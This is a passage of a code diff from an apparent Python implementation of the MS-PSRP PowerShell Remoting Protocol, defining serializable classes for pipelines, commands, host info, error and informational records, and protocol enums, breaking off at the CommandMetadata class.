     433 + :param is_nested: Whether the pipeline is a nested pipeline
     434 + :param commands: List of commands to run
     435 + :param history: The history string to add to the pipeline
     436 + :param redirect_err_to_out: Whether to redirect the global
     437 + error output pipe to the commands error output pipe.
     438 + """
     439 + super(Pipeline, self).__init__()
     440 + cmd_types = [
     441 + "System.Collections.Generic.List`1[["
     442 + "System.Management.Automation.PSObject, "
     443 + "System.Management.Automation, "
     444 + "Version=1.0.0.0, Culture=neutral, "
     445 + "PublicKeyToken=31bf3856ad364e35]]",
     446 + "System.Object",
     447 + ]
     448 + 
     449 + self._extended_properties = (
     450 + ("is_nested", ObjectMeta("B", name="IsNested")),
     451 + # ExtraCmds isn't in spec but is value and used to send multiple
     452 + # statements
     453 + (
     454 + "_extra_cmds",
     455 + ListMeta(
     456 + name="ExtraCmds", list_value_meta=ObjectMeta("Obj", object=self._ExtraCmds), list_types=cmd_types
     457 + ),
     458 + ),
     459 + ("_cmds", ListMeta(name="Cmds", list_value_meta=ObjectMeta("Obj", object=Command), list_types=cmd_types)),
     460 + ("history", ObjectMeta("S", name="History")),
     461 + ("redirect_err_to_out", ObjectMeta("B", name="RedirectShellErrorOutputPipe")),
     462 + )
     463 + self.is_nested = kwargs.get("is_nested")
     464 + self.commands = kwargs.get("cmds")
     465 + self.history = kwargs.get("history")
     466 + self.redirect_err_to_out = kwargs.get("redirect_err_to_out")
     467 + 
     468 + @property
     469 + def _cmds(self):
     470 + # Cmds is always the first statement
     471 + return self._get_statements()[0]
     472 + 
     473 + @_cmds.setter
     474 + def _cmds(self, value):
     475 + # if commands is already set then that means ExtraCmds was present and
     476 + # has already been set
     477 + if self.commands and len(self.commands) > 0:
     478 + return
     479 + 
     480 + # ExtraCmds wasn't present so we need to unpack it
     481 + self.commands = value
     482 + 
     483 + @property
     484 + def _extra_cmds(self):
     485 + statements = self._get_statements()
     486 + 
     487 + # ExtraCmds is only set if we have more than 1 statement, not present
     488 + # if only 1
     489 + if len(statements) < 2:
     490 + return None
     491 + else:
     492 + extra = [self._ExtraCmds(cmds=c) for c in statements]
     493 + return extra
     494 + 
     495 + @_extra_cmds.setter
     496 + def _extra_cmds(self, value):
     497 + # check if extra_cmds was actually set and return if it wasn't
     498 + if value is None:
     499 + return
     500 + 
     501 + commands = []
     502 + for statement in value:
     503 + for command in statement.cmds:
     504 + commands.append(command)
     505 + commands[-1].end_of_statement = True
     506 + self.commands = commands
     507 + 
     508 + def _get_statements(self):
     509 + statements = []
     510 + current_statement = []
     511 + 
     512 + # set the last command to be the end of the statement
     513 + self.commands[-1].end_of_statement = True
     514 + for command in self.commands:
     515 + # need to use deepcopy as the values can be appended to multiple
     516 + # parents and in lxml that removes it from the original parent,
     517 + # whereas this will create a copy of the statement for each parent
     518 + current_statement.append(deepcopy(command))
     519 + if command.end_of_statement:
     520 + statements.append(current_statement)
     521 + current_statement = []
     522 + 
     523 + return statements
     524 + 
     525 + 
     526 +class Command(ComplexObject):
     527 + def __init__(
     528 + self,
     529 + cmd: typing.Optional[str] = None,
     530 + protocol_version: str = "2.3",
     531 + **kwargs: typing.Any,
     532 + ) -> None:
     533 + """
     534 + [MS-PSRP] 2.2.3.12 Command
     535 + https://msdn.microsoft.com/en-us/library/dd339976.aspx
     536 + 
     537 + :param cmd: The cmdlet or script to run
     538 + :param protocol_version: The negotiated protocol version of the remote
     539 + host. This determines what merge_* objects are added to the
     540 + serialized xml.
     541 + :param is_script: Whether cmd is a script or not
     542 + :param use_local_scope: Use local or global scope to invoke commands
     543 + :param merge_my_result: Controls the behaviour of what stream to merge
     544 + to 'merge_to_result'. Only supports NONE or ERROR (only used in
     545 + protocol 2.1)
     546 + :param merge_to_result: Controls the behaviour of where to merge the
     547 + 'merge_my_result' stream. Only supports NONE or OUTPUT (only used
     548 + in protocol 2.1)
     549 + :param merge_previous: Controls the behaviour of where to merge the
     550 + previous Output and Error streams that have been unclaimed
     551 + :param merge_error: The merge behaviour of the Error stream
     552 + :param merge_warning: The merge behaviour of the Warning stream
     553 + :param merge_verbose: The merge behaviour of the Verbose stream
     554 + :param merge_debug: The merge behaviour of the Debug stream
     555 + :param merge_information: The merge behaviour of the Information stream
     556 + :param args: List of CommandParameters for the cmdlet being invoked
     557 + :param end_of_statement: Whether this command is the last in the
     558 + current statement
     559 + """
     560 + super(Command, self).__init__()
     561 + arg_types = [
     562 + "System.Collections.Generic.List`1[["
     563 + "System.Management.Automation.PSObject, "
     564 + "System.Management.Automation, "
     565 + "Version=1.0.0.0, Culture=neutral, "
     566 + "PublicKeyToken=31bf3856ad364e35]]",
     567 + "System.Object",
     568 + ]
     569 + extended_properties = [
     570 + ("cmd", ObjectMeta("S", name="Cmd")),
     571 + ("is_script", ObjectMeta("B", name="IsScript")),
     572 + ("use_local_scope", ObjectMeta("B", name="UseLocalScope")),
     573 + ("merge_my_result", ObjectMeta("Obj", name="MergeMyResult", object=PipelineResultTypes)),
     574 + ("merge_to_result", ObjectMeta("Obj", name="MergeToResult", object=PipelineResultTypes)),
     575 + ("merge_previous", ObjectMeta("Obj", name="MergePreviousResults", object=PipelineResultTypes)),
     576 + ("args", ListMeta(name="Args", list_value_meta=ObjectMeta(object=CommandParameter), list_types=arg_types)),
     577 + ]
     578 + 
     579 + if version_equal_or_newer(protocol_version, "2.2"):
     580 + extended_properties.extend(
     581 + [
     582 + ("merge_error", ObjectMeta("Obj", name="MergeError", object=PipelineResultTypes, optional=True)),
     583 + (
     584 + "merge_warning",
     585 + ObjectMeta("Obj", name="MergeWarning", object=PipelineResultTypes, optional=True),
     586 + ),
     587 + (
     588 + "merge_verbose",
     589 + ObjectMeta("Obj", name="MergeVerbose", object=PipelineResultTypes, optional=True),
     590 + ),
     591 + ("merge_debug", ObjectMeta("Obj", name="MergeDebug", object=PipelineResultTypes, optional=True)),
     592 + ]
     593 + )
     594 + 
     595 + if version_equal_or_newer(protocol_version, "2.3"):
     596 + extended_properties.extend(
     597 + [
     598 + (
     599 + "merge_information",
     600 + ObjectMeta("Obj", name="MergeInformation", object=PipelineResultTypes, optional=True),
     601 + ),
     602 + ]
     603 + )
     604 + self._extended_properties = tuple(extended_properties)
     605 + 
     606 + self.cmd = cmd
     607 + self.protocol_version = protocol_version
     608 + self.is_script = kwargs.get("is_script")
     609 + self.use_local_scope = kwargs.get("use_local_scope")
     610 + 
     611 + none_merge = PipelineResultTypes(value=PipelineResultTypes.NONE)
     612 + 
     613 + # valid in all protocols, only really used in 2.1 (PowerShell 2.0)
     614 + self.merge_my_result = kwargs.get("merge_my_result", none_merge)
     615 + self.merge_to_result = kwargs.get("merge_to_result", none_merge)
     616 + 
     617 + self.merge_previous = kwargs.get("merge_previous", none_merge)
     618 + 
     619 + # only valid for 2.2+ (PowerShell 3.0+)
     620 + self.merge_error = kwargs.get("merge_error", none_merge)
     621 + self.merge_warning = kwargs.get("merge_warning", none_merge)
     622 + self.merge_verbose = kwargs.get("merge_verbose", none_merge)
     623 + self.merge_debug = kwargs.get("merge_debug", none_merge)
     624 + 
     625 + # only valid for 2.3+ (PowerShell 5.0+)
     626 + self.merge_information = kwargs.get("merge_information", none_merge)
     627 + 
     628 + self.args = kwargs.get("args", [])
     629 + 
     630 + # not used in the serialized message but controls how Pipeline is
     631 + # packed (Cmds/ExtraCmds)
     632 + self.end_of_statement = kwargs.get("end_of_statement", False)
     633 + 
     634 + 
     635 +class CommandParameter(ComplexObject):
     636 + def __init__(
     637 + self,
     638 + name: typing.Optional[str] = None,
     639 + value: typing.Any = None,
     640 + ) -> None:
     641 + """
     642 + [MS-PSRP] 2.2.3.13 Command Parameter
     643 + https://msdn.microsoft.com/en-us/library/dd359709.aspx
     644 + 
     645 + :param name: The name of the parameter, otherwise None
     646 + :param value: The value of the parameter, can be any primitive type
     647 + or Complex Object, Null for no value
     648 + """
     649 + super(CommandParameter, self).__init__()
     650 + self._extended_properties = (
     651 + ("name", ObjectMeta("S", name="N")),
     652 + ("value", ObjectMeta(name="V")),
     653 + )
     654 + self.name = name
     655 + self.value = value
     656 + 
     657 + 
     658 +# The host default data is serialized quite differently from the normal rules
     659 +# this contains some sub classes that are specific to the serialized form
     660 +class _HostDefaultData(ComplexObject):
     661 + class _DictValue(ComplexObject):
     662 + def __init__(self, **kwargs):
     663 + super(_HostDefaultData._DictValue, self).__init__()
     664 + self._extended_properties = (
     665 + ("value_type", ObjectMeta("S", name="T")),
     666 + ("value", ObjectMeta(name="V")),
     667 + )
     668 + self.value_type = kwargs.get("value_type")
     669 + self.value = kwargs.get("value")
     670 + 
     671 + class _Color(ComplexObject):
     672 + def __init__(self, color):
     673 + super(_HostDefaultData._Color, self).__init__()
     674 + self._extended_properties = (
     675 + ("type", ObjectMeta("S", name="T")),
     676 + ("color", ObjectMeta("I32", name="V")),
     677 + )
     678 + self.type = "System.ConsoleColor"
     679 + self.color = color.value
     680 + 
     681 + class _Coordinates(ComplexObject):
     682 + def __init__(self, coordinates):
     683 + super(_HostDefaultData._Coordinates, self).__init__()
     684 + self._extended_properties = (
     685 + ("type", ObjectMeta("S", name="T")),
     686 + ("value", ObjectMeta("ObjDynamic", name="V", object=GenericComplexObject)),
     687 + )
     688 + self.type = "System.Management.Automation.Host.Coordinates"
     689 + self.value = GenericComplexObject()
     690 + self.value.extended_properties["x"] = coordinates.x
     691 + self.value.extended_properties["y"] = coordinates.y
     692 + 
     693 + class _Size(ComplexObject):
     694 + def __init__(self, size):
     695 + super(_HostDefaultData._Size, self).__init__()
     696 + self._extended_properties = (
     697 + ("type", ObjectMeta("S", name="T")),
     698 + ("value", ObjectMeta("ObjDynamic", name="V", object=GenericComplexObject)),
     699 + )
     700 + self.type = "System.Management.Automation.Host.Size"
     701 + self.value = GenericComplexObject()
     702 + self.value.extended_properties["width"] = size.width
     703 + self.value.extended_properties["height"] = size.height
     704 + 
     705 + def __init__(self, **kwargs):
     706 + # Used by HostInfo to encapsulate the host info values inside a
     707 + # special object required by PSRP
     708 + super(_HostDefaultData, self).__init__()
     709 + key_meta = ObjectMeta("I32", name="Key")
     710 + self._extended_properties = (("_host_dict", DictionaryMeta(name="data", dict_key_meta=key_meta)),)
     711 + self.raw_ui = kwargs.get("raw_ui")
     712 + 
     713 + @property
     714 + def _host_dict(self):
     715 + return (
     716 + (0, self._Color(self.raw_ui.foreground_color)),
     717 + (1, self._Color(self.raw_ui.background_color)),
     718 + (2, self._Coordinates(self.raw_ui.cursor_position)),
     719 + (3, self._Coordinates(self.raw_ui.window_position)),
     720 + (4, self._DictValue(value_type="System.Int32", value=self.raw_ui.cursor_size)),
     721 + (5, self._Size(self.raw_ui.buffer_size)),
     722 + (6, self._Size(self.raw_ui.window_size)),
     723 + (7, self._Size(self.raw_ui.max_window_size)),
     724 + (8, self._Size(self.raw_ui.max_physical_window_size)),
     725 + (9, self._DictValue(value_type="System.String", value=self.raw_ui.window_title)),
     726 + )
     727 + 
     728 + 
     729 +class HostInfo(ComplexObject):
     730 + def __init__(
     731 + self,
     732 + **kwargs: typing.Any,
     733 + ) -> None:
     734 + """
     735 + [MS-PSRP] 2.2.3.14 HostInfo
     736 + https://msdn.microsoft.com/en-us/library/dd340936.aspx
     737 + 
     738 + :param host: An implementation of pypsrp.host.PSHost that defines the
     739 + local host
     740 + """
     741 + super(HostInfo, self).__init__()
     742 + self._extended_properties = (
     743 + ("_host_data", ObjectMeta("Obj", name="_hostDefaultData", optional=True, object=_HostDefaultData)),
     744 + ("_is_host_null", ObjectMeta("B", name="_isHostNull")),
     745 + ("_is_host_ui_null", ObjectMeta("B", name="_isHostUINull")),
     746 + ("_is_host_raw_ui_null", ObjectMeta("B", name="_isHostRawUINull")),
     747 + ("_use_runspace_host", ObjectMeta("B", name="_useRunspaceHost")),
     748 + )
     749 + self.host = kwargs.get("host", None)
     750 + 
     751 + @property
     752 + def _is_host_null(self):
     753 + return self.host is None
     754 + 
     755 + @property
     756 + def _is_host_ui_null(self):
     757 + if self.host is not None:
     758 + return self.host.ui is None
     759 + else:
     760 + return True
     761 + 
     762 + @property
     763 + def _is_host_raw_ui_null(self):
     764 + if self.host is not None and self.host.ui is not None:
     765 + return self.host.ui.raw_ui is None
     766 + else:
     767 + return True
     768 + 
     769 + @property
     770 + def _use_runspace_host(self):
     771 + return self.host is None
     772 + 
     773 + @property
     774 + def _host_data(self):
     775 + if self._is_host_raw_ui_null:
     776 + return None
     777 + else:
     778 + host_data = _HostDefaultData(raw_ui=self.host.ui.raw_ui)
     779 + return host_data
     780 + 
     781 + 
     782 +class ErrorRecord(ComplexObject):
     783 + def __init__(self, **kwargs):
     784 + """
     785 + [MS-PSRP] 2.2.3.15 ErrorRecord
     786 + https://msdn.microsoft.com/en-us/library/dd340106.aspx
     787 + """
     788 + super(ErrorRecord, self).__init__()
     789 + self._types = ["System.Management.Automation.ErrorRecord", "System.Object"]
     790 + self._extended_properties = (
     791 + ("exception", ObjectMeta(name="Exception", optional=True)),
     792 + ("target_object", ObjectMeta(name="TargetObject", optional=True)),
     793 + ("invocation", ObjectMeta("B", name="SerializeExtendedInfo")),
     794 + (
     795 + "invocation_info",
     796 + ObjectMeta("ObjDynamic", name="InvocationInfo", object=GenericComplexObject, optional=True),
     797 + ),
     798 + ("fq_error", ObjectMeta("S", name="FullyQualifiedErrorId")),
     799 + ("category", ObjectMeta("I32", name="ErrorCategory_Category")),
     800 + ("activity", ObjectMeta("S", name="ErrorCategory_Activity", optional=True)),
     801 + ("reason", ObjectMeta("S", name="ErrorCategory_Reason", optional=True)),
     802 + ("target_name", ObjectMeta("S", name="ErrorCategory_TargetName", optional=True)),
     803 + ("target_type", ObjectMeta("S", name="ErrorCategory_TargetType", optional=True)),
     804 + ("message", ObjectMeta("S", name="ErrorCategory_Message", optional=True)),
     805 + ("details_message", ObjectMeta("S", name="ErrorDetails_Message", optional=True)),
     806 + ("action", ObjectMeta("S", name="ErrorDetails_RecommendedAction", optional=True)),
     807 + ("script_stacktrace", ObjectMeta("S", name="ErrorDetails_ScriptStackTrace", optional=True)),
     808 + ("extended_info_present", ObjectMeta("B", name="SerializeExtendedInfo")),
     809 + ("invocation_name", ObjectMeta("S", optional=True, name="InvocationInfo_InvocationName")),
     810 + (
     811 + "invocation_bound_parameters",
     812 + DictionaryMeta(
     813 + name="InvocationInfo_BoundParameters",
     814 + optional=True,
     815 + dict_key_meta=ObjectMeta("S"),
     816 + dict_types=[
     817 + "System.Management.Automation.PSBoundParametersDictionary",
     818 + "System.Collections.Generic.Dictionary`2[[System.String, "
     819 + "mscorlib, Version=4.0.0.0, Culture=neutral, "
     820 + "PublicKeyToken=b77a5c561934e089],"
     821 + "[System.Object, mscorlib, Version=4.0.0.0, "
     822 + "Culture=neutral, PublicKeyToken=b77a5c561934e089]]",
     823 + "System.Object",
     824 + ],
     825 + ),
     826 + ),
     827 + (
     828 + "invocation_unbound_arguments",
     829 + ListMeta(
     830 + name="InvocationInfo_UnboundArguments",
     831 + optional=True,
     832 + list_types=[
     833 + "System.Collections.Generic.List`1[["
     834 + "System.Object, mscorlib, Version=4.0.0.0, "
     835 + "Culture=neutral, PublicKeyToken=b77a5c561934e089]]",
     836 + "System.Object",
     837 + ],
     838 + ),
     839 + ),
     840 + (
     841 + "invocation_command_origin",
     842 + ObjectMeta("Obj", name="InvocationInfo_CommandOrigin", optional=True, object=CommandOrigin),
     843 + ),
     844 + ("invocation_expecting_input", ObjectMeta("B", name="InvocationInfo_ExpectingInput", optional=True)),
     845 + ("invocation_line", ObjectMeta("S", name="InvocationInfo_Line", optional=True)),
     846 + ("invocation_offset_in_line", ObjectMeta("I32", name="InvocationInfo_OffsetInLine", optional=True)),
     847 + ("invocation_position_message", ObjectMeta("S", name="InvocationInfo_PositionMessage", optional=True)),
     848 + ("invocation_script_name", ObjectMeta("S", name="InvocationInfo_ScriptName", optional=True)),
     849 + ("invocation_script_line_number", ObjectMeta("I32", name="InvocationInfo_ScriptLineNumber", optional=True)),
     850 + ("invocation_history_id", ObjectMeta("I64", name="InvocationInfo_HistoryId", optional=True)),
     851 + ("invocation_pipeline_length", ObjectMeta("I32", name="InvocationInfo_PipelineLength", optional=True)),
     852 + ("invocation_pipeline_position", ObjectMeta("I32", name="InvocationInfo_PipelinePosition", optional=True)),
     853 + (
     854 + "invocation_pipeline_iteration_info",
     855 + ListMeta(
     856 + name="InvocationInfo_PipelineIterationInfo",
     857 + optional=True,
     858 + list_value_meta=ObjectMeta("I32"),
     859 + list_types=["System.In32[]", "System.Array", "System.Object"],
     860 + ),
     861 + ),
     862 + (
     863 + "command_type",
     864 + ObjectMeta(
     865 + "Obj",
     866 + name="CommandInfo_CommandType",
     867 + object=CommandType,
     868 + optional=True,
     869 + ),
     870 + ),
     871 + (
     872 + "command_definition",
     873 + ObjectMeta(
     874 + "S",
     875 + name="CommandInfo_Definition",
     876 + optional=True,
     877 + ),
     878 + ),
     879 + ("command_name", ObjectMeta("S", name="CommandInfo_Name", optional=True)),
     880 + (
     881 + "command_visibility",
     882 + ObjectMeta("Obj", name="CommandInfo_Visibility", object=SessionStateEntryVisibility, optional=True),
     883 + ),
     884 + (
     885 + "pipeline_iteration_info",
     886 + ListMeta(
     887 + name="PipelineIterationInfo",
     888 + optional=True,
     889 + list_value_meta=ObjectMeta("I32"),
     890 + list_types=[
     891 + "System.Collections.ObjectModel.ReadOnlyCollection`1[["
     892 + "System.Int32, mscorlib, Version=4.0.0.0, "
     893 + "Culture=neutral, PublicKeyToken=b77a5c561934e089]]",
     894 + "System.Object",
     895 + ],
     896 + ),
     897 + ),
     898 + )
     899 + self.exception = kwargs.get("exception")
     900 + self.target_info = kwargs.get("target_info")
     901 + self.invocation = kwargs.get("invocation")
     902 + self.fq_error = kwargs.get("fq_error")
     903 + self.category = kwargs.get("category")
     904 + self.activity = kwargs.get("activity")
     905 + self.reason = kwargs.get("reason")
     906 + self.target_name = kwargs.get("target_name")
     907 + self.target_type = kwargs.get("target_type")
     908 + self.message = kwargs.get("message")
     909 + self.details_message = kwargs.get("details_message")
     910 + self.action = kwargs.get("action")
     911 + self.pipeline_iteration_info = kwargs.get("pipeline_iteration_info")
     912 + self.invocation_name = kwargs.get("invocation_name")
     913 + self.invocation_bound_parameters = kwargs.get("invocation_bound_parameters")
     914 + self.invocation_unbound_arguments = kwargs.get("invocation_unbound_arguments")
     915 + self.invocation_command_origin = kwargs.get("invocation_command_origin")
     916 + self.invocation_expecting_input = kwargs.get("invocation_expecting_input")
     917 + self.invocation_line = kwargs.get("invocation_line")
     918 + self.invocation_offset_in_line = kwargs.get("invocation_offset_in_line")
     919 + self.invocation_position_message = kwargs.get("invocation_position_message")
     920 + self.invocation_script_name = kwargs.get("invocation_script_name")
     921 + self.invocation_script_line_number = kwargs.get("invocation_script_line_number")
     922 + self.invocation_history_id = kwargs.get("invocation_history_id")
     923 + self.invocation_pipeline_length = kwargs.get("invocation_pipeline_length")
     924 + self.invocation_pipeline_position = kwargs.get("invocation_pipeline_position")
     925 + self.invocation_pipeline_iteration_info = kwargs.get("invocation_pipeline_iteration_info")
     926 + self.command_type = kwargs.get("command_type")
     927 + self.command_definition = kwargs.get("command_definition")
     928 + self.command_name = kwargs.get("command_name")
     929 + self.command_visibility = kwargs.get("command_visibility")
     930 + self.extended_info_present = self.invocation is not None
     931 + 
     932 + 
     933 +class InformationalRecord(ComplexObject):
     934 + def __init__(self, **kwargs):
     935 + """
     936 + [MS-PSRP] 2.2.3.16 InformationalRecord (Debug/Warning/Verbose)
     937 + https://msdn.microsoft.com/en-us/library/dd305072.aspx
     938 + """
     939 + super(InformationalRecord, self).__init__()
     940 + self._types = ["System.Management.Automation.InformationRecord", "System.Object"]
     941 + self._extended_properties = (
     942 + ("message", ObjectMeta("S", name="InformationalRecord_Message")),
     943 + ("invocation", ObjectMeta("B", name="InformationalRecord_SerializeInvocationInfo")),
     944 + ("invocation_name", ObjectMeta("S", optional=True, name="InvocationInfo_InvocationName")),
     945 + (
     946 + "invocation_bound_parameters",
     947 + DictionaryMeta(
     948 + name="InvocationInfo_BoundParameters",
     949 + optional=True,
     950 + dict_key_meta=ObjectMeta("S"),
     951 + dict_types=[
     952 + "System.Management.Automation.PSBoundParametersDictionary",
     953 + "System.Collections.Generic.Dictionary`2[[System.String, "
     954 + "mscorlib, Version=4.0.0.0, Culture=neutral, "
     955 + "PublicKeyToken=b77a5c561934e089],"
     956 + "[System.Object, mscorlib, Version=4.0.0.0, "
     957 + "Culture=neutral, PublicKeyToken=b77a5c561934e089]]",
     958 + "System.Object",
     959 + ],
     960 + ),
     961 + ),
     962 + (
     963 + "invocation_unbound_arguments",
     964 + ListMeta(
     965 + name="InvocationInfo_UnboundArguments",
     966 + optional=True,
     967 + list_types=[
     968 + "System.Collections.Generic.List`1[["
     969 + "System.Object, mscorlib, Version=4.0.0.0, "
     970 + "Culture=neutral, PublicKeyToken=b77a5c561934e089]]",
     971 + "System.Object",
     972 + ],
     973 + ),
     974 + ),
     975 + (
     976 + "invocation_command_origin",
     977 + ObjectMeta("Obj", name="InvocationInfo_CommandOrigin", optional=True, object=CommandOrigin),
     978 + ),
     979 + ("invocation_expecting_input", ObjectMeta("B", name="InvocationInfo_ExpectingInput", optional=True)),
     980 + ("invocation_line", ObjectMeta("S", name="InvocationInfo_Line", optional=True)),
     981 + ("invocation_offset_in_line", ObjectMeta("I32", name="InvocationInfo_OffsetInLine", optional=True)),
     982 + ("invocation_position_message", ObjectMeta("S", name="InvocationInfo_PositionMessage", optional=True)),
     983 + ("invocation_script_name", ObjectMeta("S", name="InvocationInfo_ScriptName", optional=True)),
     984 + ("invocation_script_line_number", ObjectMeta("I32", name="InvocationInfo_ScriptLineNumber", optional=True)),
     985 + ("invocation_history_id", ObjectMeta("I64", name="InvocationInfo_HistoryId", optional=True)),
     986 + ("invocation_pipeline_length", ObjectMeta("I32", name="InvocationInfo_PipelineLength", optional=True)),
     987 + ("invocation_pipeline_position", ObjectMeta("I32", name="InvocationInfo_PipelinePosition", optional=True)),
     988 + (
     989 + "invocation_pipeline_iteration_info",
     990 + ListMeta(
     991 + name="InvocationInfo_PipelineIterationInfo",
     992 + optional=True,
     993 + list_value_meta=ObjectMeta("I32"),
     994 + list_types=["System.In32[]", "System.Array", "System.Object"],
     995 + ),
     996 + ),
     997 + (
     998 + "command_type",
     999 + ObjectMeta(
     1000 + "Obj",
     1001 + name="CommandInfo_CommandType",
     1002 + object=CommandType,
     1003 + optional=True,
     1004 + ),
     1005 + ),
     1006 + (
     1007 + "command_definition",
     1008 + ObjectMeta(
     1009 + "S",
     1010 + name="CommandInfo_Definition",
     1011 + optional=True,
     1012 + ),
     1013 + ),
     1014 + ("command_name", ObjectMeta("S", name="CommandInfo_Name", optional=True)),
     1015 + (
     1016 + "command_visibility",
     1017 + ObjectMeta("Obj", name="CommandInfo_Visibility", object=SessionStateEntryVisibility, optional=True),
     1018 + ),
     1019 + (
     1020 + "pipeline_iteration_info",
     1021 + ListMeta(
     1022 + name="InformationalRecord_PipelineIterationInfo",
     1023 + optional=True,
     1024 + list_value_meta=ObjectMeta("I32"),
     1025 + list_types=[
     1026 + "System.Collections.ObjectModel.ReadOnlyCollection`1[["
     1027 + "System.Int32, mscorlib, Version=4.0.0.0, "
     1028 + "Culture=neutral, PublicKeyToken=b77a5c561934e089]]",
     1029 + "System.Object",
     1030 + ],
     1031 + ),
     1032 + ),
     1033 + )
     1034 + self.message = kwargs.get("message")
     1035 + self.pipeline_iteration_info = kwargs.get("pipeline_iteration_info")
     1036 + self.invocation_name = kwargs.get("invocation_name")
     1037 + self.invocation_bound_parameters = kwargs.get("invocation_bound_parameters")
     1038 + self.invocation_unbound_arguments = kwargs.get("invocation_unbound_arguments")
     1039 + self.invocation_command_origin = kwargs.get("invocation_command_origin")
     1040 + self.invocation_expecting_input = kwargs.get("invocation_expecting_input")
     1041 + self.invocation_line = kwargs.get("invocation_line")
     1042 + self.invocation_offset_in_line = kwargs.get("invocation_offset_in_line")
     1043 + self.invocation_position_message = kwargs.get("invocation_position_message")
     1044 + self.invocation_script_name = kwargs.get("invocation_script_name")
     1045 + self.invocation_script_line_number = kwargs.get("invocation_script_line_number")
     1046 + self.invocation_history_id = kwargs.get("invocation_history_id")
     1047 + self.invocation_pipeline_length = kwargs.get("invocation_pipeline_length")
     1048 + self.invocation_pipeline_position = kwargs.get("invocation_pipeline_position")
     1049 + self.invocation_pipeline_iteration_info = kwargs.get("invocation_pipeline_iteration_info")
     1050 + self.command_type = kwargs.get("command_type")
     1051 + self.command_definition = kwargs.get("command_definition")
     1052 + self.command_name = kwargs.get("command_name")
     1053 + self.command_visibility = kwargs.get("command_visibility")
     1054 + self.invocation = False
     1055 + 
     1056 + 
     1057 +class HostMethodIdentifier(Enum):
     1058 + def __init__(self, **kwargs):
     1059 + """
     1060 + [MS-PSRP] 2.2.3.17 Host Method Identifier
     1061 + https://msdn.microsoft.com/en-us/library/dd306624.aspx
     1062 + 
     1063 + Represents methods to be executed on a host.
     1064 + 
     1065 + :param value: The method identifier to execute
     1066 + """
     1067 + string_map = {
     1068 + 1: "GetName",
     1069 + 2: "GetVersion",
     1070 + 3: "GetInstanceId",
     1071 + 4: "GetCurrentCulture",
     1072 + 5: "GetCurrentUICulture",
     1073 + 6: "SetShouldExit",
     1074 + 7: "EnterNestedPrompt",
     1075 + 8: "ExitNestedPrompt",
     1076 + 9: "NotifyBeginApplication",
     1077 + 10: "NotifyEndApplication",
     1078 + 11: "ReadLine",
     1079 + 12: "ReadLineAsSecureString",
     1080 + 13: "Write1",
     1081 + 14: "Write2",
     1082 + 15: "WriteLine1",
     1083 + 16: "WriteLine2",
     1084 + 17: "WriteLine3",
     1085 + 18: "WriteErrorLine",
     1086 + 19: "WriteDebugLine",
     1087 + 20: "WriteProgress",
     1088 + 21: "WriteVerboseLine",
     1089 + 22: "WriteWarningLine",
     1090 + 23: "Prompt",
     1091 + 24: "PromptForCredential1",
     1092 + 25: "PromptForCredential2",
     1093 + 26: "PromptForChoice",
     1094 + 27: "GetForegroundColor",
     1095 + 28: "SetForegroundColor",
     1096 + 29: "GetBackgroundColor",
     1097 + 30: "SetBackgroundColor",
     1098 + 31: "GetCursorPosition",
     1099 + 32: "SetCursorPosition",
     1100 + 33: "GetWindowPosition",
     1101 + 34: "SetWindowPosition",
     1102 + 35: "GetCursorSize",
     1103 + 36: "SetCursorSize",
     1104 + 37: "GetBufferSize",
     1105 + 38: "SetBufferSize",
     1106 + 39: "GetWindowSize",
     1107 + 40: "SetWindowSize",
     1108 + 41: "GetWindowTitle",
     1109 + 42: "SetWindowTitle",
     1110 + 43: "GetMaxWindowSize",
     1111 + 44: "GetMaxPhysicalWindowSize",
     1112 + 45: "GetKeyAvailable",
     1113 + 46: "ReadKey",
     1114 + 47: "FlushInputBuffer",
     1115 + 48: "SetBufferContents1",
     1116 + 49: "SetBufferContents2",
     1117 + 50: "GetBufferContents",
     1118 + 51: "ScrollBufferContents",
     1119 + 52: "PushRunspace",
     1120 + 53: "PopRunspace",
     1121 + 54: "GetIsRunspacePushed",
     1122 + 55: "GetRunspce",
     1123 + 56: "PromptForChoiceMultipleSelection",
     1124 + }
     1125 + super(HostMethodIdentifier, self).__init__(
     1126 + "System.Management.Automation.Remoting.RemoteHostMethodId", string_map, **kwargs
     1127 + )
     1128 + 
     1129 + 
     1130 +class CommandType(Enum):
     1131 + ALIAS = 0x0001
     1132 + FUNCTION = 0x0002
     1133 + FILTER = 0x0004
     1134 + CMDLET = 0x0008
     1135 + EXTERNAL_SCRIPT = 0x0010
     1136 + APPLICATION = 0x0020
     1137 + SCRIPT = 0x0040
     1138 + WORKFLOW = 0x0080
     1139 + CONFIGURATION = 0x0100
     1140 + ALL = 0x01FF
     1141 + 
     1142 + def __init__(self, **kwargs):
     1143 + """
     1144 + [MS-PSRP] 2.2.3.19 CommandType
     1145 + https://msdn.microsoft.com/en-us/library/ee175965.aspx
     1146 + 
     1147 + :param value: The initial flag value for CommandType
     1148 + """
     1149 + super(CommandType, self).__init__("System.Management.Automation.CommandTypes", {}, **kwargs)
     1150 + 
     1151 + @property # type: ignore[override]
     1152 + def _to_string(self) -> str: # type: ignore[override]
     1153 + if self.value == 0x01FF:
     1154 + return "All"
     1155 + 
     1156 + string_map = (
     1157 + ("Alias", 0x0001),
     1158 + ("Function", 0x0002),
     1159 + ("Filter", 0x0004),
     1160 + ("Cmdlet", 0x0008),
     1161 + ("ExternalScript", 0x0010),
     1162 + ("Application", 0x0020),
     1163 + ("Script", 0x0040),
     1164 + ("Workflow", 0x0080),
     1165 + ("Configuration", 0x0100),
     1166 + )
     1167 + values = []
     1168 + for name, flag in string_map:
     1169 + if (self.value or 0) & flag == flag:
     1170 + values.append(name)
     1171 + return ", ".join(values)
     1172 + 
     1173 + @_to_string.setter
     1174 + def _to_string(self, value):
     1175 + pass
     1176 + 
     1177 + 
     1178 +class CommandMetadataCount(ComplexObject):
     1179 + def __init__(self, **kwargs):
     1180 + """
     1181 + [MS-PSRP] 2.2.3.21 CommandMetadataCount
     1182 + https://msdn.microsoft.com/en-us/library/ee175881.aspx
     1183 + 
     1184 + :param count: The number of CommandMetadata messages in the pipeline
     1185 + output
     1186 + """
     1187 + super(CommandMetadataCount, self).__init__()
     1188 + self.types = [
     1189 + "Selected.Microsoft.PowerShell.Commands.GenericMeasureInfo",
     1190 + "System.Management.Automation.PSCustomObject",
     1191 + "System.Object",
     1192 + ]
     1193 + self._extended_properties = (("count", ObjectMeta("I32", name="Count")),)
     1194 + self.count = kwargs.get("count")
     1195 + 
     1196 + 
     1197 +class CommandMetadata(ComplexObject):
     1198 + def __init__(self, **kwargs):
     1199 + """
     1200 + [MS-PSRP] 2.2.3.22 CommandMetadata
